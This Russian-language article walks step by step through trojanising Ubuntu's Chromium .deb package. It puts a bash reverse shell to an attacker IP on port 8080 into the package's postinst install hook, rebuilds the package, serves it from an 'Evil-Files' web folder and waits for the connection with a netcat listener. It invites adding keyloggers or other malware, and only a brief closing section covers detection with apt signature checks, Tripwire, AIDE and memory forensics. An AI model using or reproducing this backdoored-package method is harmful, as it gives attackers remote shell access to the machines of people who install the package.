Linux, как и любая другая операционная система, не застрахована от угроз и рисков безопасности. По мере того, как предприятия обращаются к облаку и, как следствие, к Linux, неудивительно, что киберпреступники переключают свое внимание и ресурсы на использование этих экосистем — и их слабых мест — в гнусных целях.

Трояны, вирусы, черви и другие формы вредоносных программ, влияющих на операционную систему Linux, известны как вредоносные программы для Linux. Более половины всех веб-серверов в Интернете работают под управлением дистрибутива Linux.

Троян — это форма вируса, который выглядит как законный код, но делает что-то еще, например позволяет злоумышленнику захватить ваш веб-сайт/веб-сервер и выполнять такие действия, как чтение, удаление или обновление данных. Многие трояны служат бэкдором для вашего веб-сайта, позволяя злоумышленникам получить к нему доступ и осуществлять несанкционированные действия, а также атаки программ-вымогателей.

Одним из профессиональных и убедительных методов создания троянов на базе Linux является встраивание бэкдоров в легитимные пакеты Linux. В этой статье мы покажем вам, как вставить бэкдор в браузерное приложение Chromium и отправить его на целевой компьютер для эксплуатации.

Поскольку наш целевой компьютер — Ubuntu, нам нужно искать пакеты Ubuntu. Перейдите на страницу https://packages.ubuntu.com/» и выберите правильную версию Ubuntu, которая установлена ​​на вашем целевом компьютере.

Затем прокрутите вниз и найдите ссылку, относящуюся к «Web Software».

Когда вы окажетесь на странице веб-приложения, найдите приложение Chromium-Browser.

Укажите правильную архитектуру и загрузите ее на свой компьютер.

Затем нам нужно распаковать загруженный файл с помощью команды «dpkg -x».

Пример: (root@kali:~/Downloads# dpkg -x chromium-browser_73.0.3683.75–0ubuntu0.18.04.1_i386.deb chromium-browser) .

Здесь мы создали папку с именем "chromium-browser" и распаковали часть содержимого файла ".deb" в эту папку. Чтобы распаковать остальное содержимое, мы должны использовать дополнительную команду.

Пример: (root@kali:~/Downloads# ar -x chromium-browser_73.0.3683.75–0ubuntu0.18.04.1_i386.deb).

Эти команды распакуют файл control.tar.xz, который мы сможем использовать позже.

Когда все будет распаковано, перейдите в папку Загрузки и извлеките папку control.tar.xz. Эта папка содержит два важных файла, которые будут использоваться при встраивании кодов.

Перейдите в папку «control» и скопируйте файлы «control» и «postinst». Иногда файл «postinst» может быть недоступен, поэтому в этом случае вы можете создать свой собственный, открыть любой текстовый редактор и сохранить его под именем «postinst».

Вернитесь в папку "chromium-browser" и создайте новую папку с именем "DEBIAN" и вставьте в нее скопированные файлы.

Вставив файлы, откройте postinst и поместите внутрь свой бэкдор. В этом примере мы будем использовать простой сценарий bash, который может отправить нам соединение оболочки TCP.

— — — — — — — — — — — — — — — — — — — — — — — — — — — —

#!/bin/bash

sudo bash -i ›& /dev/tcp/10.10.10.4/8080 0›&1

— — — — — — — — — — — — — — — — — — — — — — — — — — — —

Вы можете поставить любой бэкдор, вредоносный код, кейлоггер и так далее. Варианты бесконечны и зависят от вашего воображения.

Затем нам нужно изменить права доступа к файлу postinst, чтобы сделать его исполняемым с помощью команды chmod +x postinst.

Теперь наша папка Chromium-Browser готова стать пакетом и отправлена ​​на целевой компьютер. Чтобы собрать пакет в ОС Linux, используйте команду «dpkg-deb -- build».

Пример: (root@kali:~/Downloads# dpkg-deb -- собрать chromium-browser/).

Как видно на скриншоте, нам удалось создать пакет Debian. Давайте переместим пакет "chromium-browser.deb" на наш веб-сервер, чтобы мы могли быстро доставить его на целевую машину и начать прослушивание входящего соединения.

Пример: (root@kali:~/Downloads# mv chromium-browser.deb /var/www/html/Evil-Files/)

(root@kali:~/Downloads# nc -vv -l -p 8080).

Перейдите на целевой компьютер и загрузите пакет.

После его выполнения появится окно установки законного пакета с предложением установить приложение.

После завершения установки на целевом компьютере будет полнофункциональное приложение Chromium Web Browser, но в то же время наш бэкдор будет работать в фоновом режиме и отправлять удаленное соединение на компьютер злоумышленника.

Удачной охоты!

Не существует универсальной формулы для обнаружения трояна или руткита. Все, что вы можете сделать, если ваш компьютер был поврежден неизвестным трояном, это переустановить его. Если вы знаете, как работает троян — например, если вы знаете, что троян не заражает ядро ​​— может быть менее инвазивный способ восстановления. Однако это полностью зависит от понимания того, как работает троян. Не существует общей стратегии, если все, что у вас есть, это симптомы: детектор троянов должен быть умнее и удачливее, чем их создатель.

Стабильный канал доставки существует во многих системах. Когда вы используете инструмент на основе apt, такой как «apt-get install», для установки пакета из репозитория Ubuntu, этот инструмент проверяет, что пакет проверен кем-то, кому Ubuntu доверяет. Когда вы устанавливаете пакет из неизвестного источника, единственная информация, которая у вас есть, это то, что владелец источника проверил его, что бесполезно, если у вас нет причин доверять источнику.

По своей сути скрытое вредоносное ПО имеет преимущество перед детекторами. Это справедливо, если вы ограничиваете себя методами обнаружения вредоносного ПО, которые зависят от сигнатур или эвристики. Однако есть еще один метод обнаружения вредоносных программ: сканирование идентифицированных объектов. Tripwire, AIDE и другие подобные программы будут проверять файлы на диске. Second Look проверит ядро ​​и процессы, работающие в данный момент. Second Look исследует операционную систему, активные системы и программы напрямую, используя криминалистику памяти. Он сравнивает код в памяти с тем, что опубликовал поставщик дистрибутива Linux.